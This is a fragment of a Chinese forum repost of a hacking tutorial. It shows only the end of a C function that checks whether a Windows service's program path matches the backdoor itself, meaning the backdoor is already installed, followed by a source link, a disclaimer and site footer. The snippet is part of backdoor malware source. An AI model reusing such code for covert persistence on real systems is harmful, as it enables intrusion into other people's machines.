    // 如果服务的程序路径等于后门本身,表示已经安装
    if( 0 == _wcsicmp( value, path ) )
    {
    return TRUE;
    }
    return FALSE;
    }
    来源:https://www.jb51.net/hack/9908.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表